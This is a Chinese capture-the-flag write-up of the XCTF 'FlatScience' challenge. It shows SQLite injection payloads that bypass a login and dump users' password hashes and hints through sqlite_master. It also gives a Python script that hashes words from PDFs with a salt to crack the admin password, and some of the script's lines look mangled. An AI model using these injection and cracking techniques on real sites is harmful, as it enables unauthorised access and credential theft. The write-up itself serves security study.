zoukankan      html  css  js  c++  java
  • XCTF-FlatScience

    FlatScience

    • 题目描述

      啥描述也没有

    • 解题过程

      • 页面有好多链接,除了论文pdf之外,还有子目录下的index.html

        比如:/1/index.html/1/3/index.html

      • 扫了下,有/admin.php,/login.phprobots.txt(里面也是这俩页面)

      • /login.php页面,id加引号有报错,是SQLite3

        ' or 2=2 --直接登录上了,进来是最开始的那个/index.html

        登陆成功会跳转,没有回显,猜测可以进行布尔/延时盲注,以前好像没做过sqlite的注入题,好多关键字和函数都用不了,找的一些payload也用不了,丢给sqlmap跑了一下,可以延时盲注,但这个盲注太慢了(一直出错)

      • 去看了/admin.php,大概是/login.php的加强版,没法注入

      • 到这块思路有点断,只能等比蜗牛还慢的sqlmap跑点东西出来

      • 等结果的时候看了下源码,发现有测试参数

        访问?debug,返回了源码(下面是php部分)

        <?php
        if(isset($_POST['usr']) && isset($_POST['pw'])){
                $user = $_POST['usr'];
                $pass = $_POST['pw'];
        
                $db = new SQLite3('../fancy.db');
                
                $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
            if($res){
                $row = $res->fetchArray();
            }
            else{
                echo "<br>Some Error occourred!";
            }
        
            if(isset($row['id'])){
                    setcookie('name',' '.$row['name'], time() + 60, '/');
                    header("Location: /");
                    die();
            }
        
        }
        
        if(isset($_GET['debug']))
        highlight_file('login.php');
        ?>
        
        

        因为/admin.php页面给了用户名是admin,这里看看能不能注处对应的密码

        注意到:

        • user参数对应输入框ID
        • name参数会被写到cookie

        所以可以union select用admin的密码代替name

        ' union select id,password from Users where name='admin' --

        拿到密码是+3fab54a50e770d830c0416df817567662a9dc85c, = =忘了还有sha1

        刚好sqlmap也跑完了,发现只有一个Users

      • 猜测是要用admin账号在/admin.php登录,所以需要拿到密码

        有两个思路

        • 一个是跑出密码

        • 一个是覆盖之前的密码

          INSERT INTO Users(id, name, password) VALUES(999, 'test', '7c4a8d09ca3762af61e59520943dc26494f8941b')发现insert不可用

        • 用上边查密码的方法查了下admin的id=1,

          update Users set password='7c4a8d09ca3762af61e59520943dc26494f8941b' where id=1发现update不可用

      • 到这基本没思路了,跑密码也不能硬跑啊。。。

      • 看wp

        • 确实是队sqlite的了解太少了,这里用到了sqlite自带的结构表sqlite_master

          ' union select name,sql from sqlite_master --+

          得到

          CREATE TABLE Users(
              id int primary key,
              name varchar(255),
              password varchar(255),
              hint varchar(255)
          )
          
        • 把这几个字段都扒下来

          ' union select id,group_concat(xxx) from Users --+

          name password hint
          admin 3fab54a50e770d830c0416df817567662a9dc85c my fav word in my fav paper?!,
          fritze 54eae8935c90f467427f05e4ece82cf569f89507 my love is … ?
          hans 34b0bb7c304949f9ff2fc101eef0f048be10d3bd the password is password
        • 看hint的意思,密码是paper里的一个单词

          回过头去看这些paper的链接,没啥不同的,都下载下来吧

        • 贴个处理pdf的代码,偷懒copy了一份,然后调好了bug(python3)

          from pdfminer.pdfparser import PDFParser
          from pdfminer.pdfdocument import PDFDocument
          from pdfminer.pdfpage import PDFPage
          from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
          from pdfminer.converter import PDFPageAggregator
          from pdfminer.layout import LTTextBoxHorizontal, LAParams
          import logging
          import hashlib
          import re
          import os
          
          
          def pdf_2_txt(start, end):
              pdf_filename = start
              txt_filename = end
              # 不显示warning
              logging.propagate = False
              logging.getLogger().setLevel(logging.ERROR)
              device = PDFPageAggregator(PDFResourceManager(), laparams=LAParams())
              interpreter = PDFPageInterpreter(PDFResourceManager(), device)
              parser = PDFParser(open(pdf_filename, 'rb'))
              doc = PDFDocument(parser)
              parser.set_document(doc)
              # 检测文档是否提供txt转换,不提供就忽略
              if not doc.is_extractable:
                  pass
              else:
                  with open(txt_filename, 'w+', encoding="utf-8") as fw:
                      print("num page:{}".format(len(list(PDFPage.create_pages(doc)))))
                      for page in PDFPage.create_pages(doc):
                          interpreter.process_page(page)
                          layout = device.get_result()
                          for x in layout:
                              if isinstance(x, LTTextBoxHorizontal):
                                  results = x.get_text()
                                  fw.write(results)
          
          
          def get_pwd():
              for a in range(1, 31):
                  f = open(filePath + '\txt\' + str(a) + ".txt", "r", encoding='UTF-8').read()
                  wordlist = re.split(" |
          ", f)
          
                  for s in wordlist:
                      y = s + "Salz!"
                      encode = hashlib.sha1(y.encode('utf-8')).hexdigest()
                      if encode == "3fab54a50e770d830c0416df817567662a9dc85c":
                          print("password is :" + s)
                          break
          
          
          if __name__ == '__main__':
              filePath = ''  # 绝对路径
              lists = os.listdir(filePath)
          
              for i in range(1, 31):
                  x = filePath + '\' + lists[i - 1]
                  pdf_2_txt(x, filePath + '\txt\' + str(i) + '.txt')  # 在目录下创建一个txt文件夹
                  
          
    • 参考

      https://blog.csdn.net/qq_42967398/article/details/103480502

      https://www.e-learn.cn/topic/2155194

      https://www.cnblogs.com/xiaozi/p/5760321.html

  • 相关阅读:
    abp架构中加载公共css样式表和公共js的文件目录位置
    angular中[hidden]="expression"注意事项
    angular中使用canvas画布做验证码
    AngularJs页面跳转
    Angular学习笔记【如何正确使用第三方组件】
    【JavaScript权威指南】——逻辑与(&&)
    angular学习笔记【ng2-charts】插件添加
    OpenLayers v4.2.0 -----地图延迟加载;
    Sharepoint 图片库字段名称(Title)和对应的内部名称(InternalName)
    Sharepoint JSCOM 列表操作
  • 原文地址:https://www.cnblogs.com/R3col/p/13044568.html
Copyright © 2011-2022 走看看